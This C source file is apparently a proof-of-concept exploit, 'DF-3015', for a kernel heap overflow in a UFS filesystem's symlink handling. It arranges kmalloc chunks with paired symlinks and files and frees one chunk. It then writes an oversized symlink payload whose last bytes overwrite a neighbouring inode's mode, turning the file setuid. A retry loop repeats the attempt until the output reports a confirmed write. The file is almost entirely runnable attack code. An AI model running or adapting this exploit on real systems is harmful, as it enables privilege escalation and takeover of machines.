DF-3015 / demo3015.c
/* * DF-3015 controlled-write demo. * * After the steady-state train (already on the mount), create a * consecutive [S_w(len-60 symlink)][V_demo(file)] pair, unlink S_w * (LIFO-frees its chunk), then create W (len 282 payload): kmalloc * pops S_w's chunk and ufs_symlink's bcopy writes V_demo[0..178) — * the last two bytes landing exactly on V_demo's in-memory di_mode. * * Success criterion: stat(V_demo).st_mode == 0104755 (IFREG|ISUID|0755) * written by us, everything else about V_demo untouched (uid, size, blocks). * Retry loop re-arms if the LIFO pop raced. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> int main(int argc, char **argv) { const char *dir = (argc > 1) ? argv[1] : "/mnt/p"; char p[128], t70[80], payload[283]; struct stat st; int i, fd; memset(t70, 's', 60); t70[60] = 0; memset(payload, 'W', 282); payload[280] = (char)0xED; payload[281] = (char)0x89; payload[282] = 0; for (i = 0; i < 12; i++) { /* weapon layout: [S_w][V_demo] consecutive chunks */ snprintf(p, sizeof(p), "%s/Dw%d", dir, i); if (symlink(t70, p)) { perror("symlink Dw"); return 1; } snprintf(p, sizeof(p), "%s/Dv%d", dir, i); fd = open(p, O_RDWR | O_CREAT | O_EXCL, 0644); if (fd < 0) { perror("open Dv"); return 1; } write(fd, "hello", 5); close(fd); if (stat(p, &st)) { perror("stat"); return 1; } printf("[demo %d] before: mode=%o uid=%u size=%lld\n", i, st.st_mode, st.st_uid, (long long)st.st_size); /* free the chunk before V_demo, then fire W */ snprintf(p, sizeof(p), "%s/Dw%d", dir, i); if (unlink(p)) { perror("unlink Dw"); return 1; } snprintf(p, sizeof(p), "%s/DW%d", dir, i); if (symlink(payload, p)) { perror("symlink W"); return 1; } snprintf(p, sizeof(p), "%s/Dv%d", dir, i); if (stat(p, &st)) { perror("stat2"); return 1; } printf("[demo %d] after : mode=%o uid=%u size=%lld %s\n", i, st.st_mode, st.st_uid, (long long)st.st_size, st.st_mode == 0104755 ? "*** CONTROLLED WRITE CONFIRMED (setuid bit set) ***" : "(miss)"); fflush(stdout); if (st.st_mode == 0104755) return (0); } return (1); } |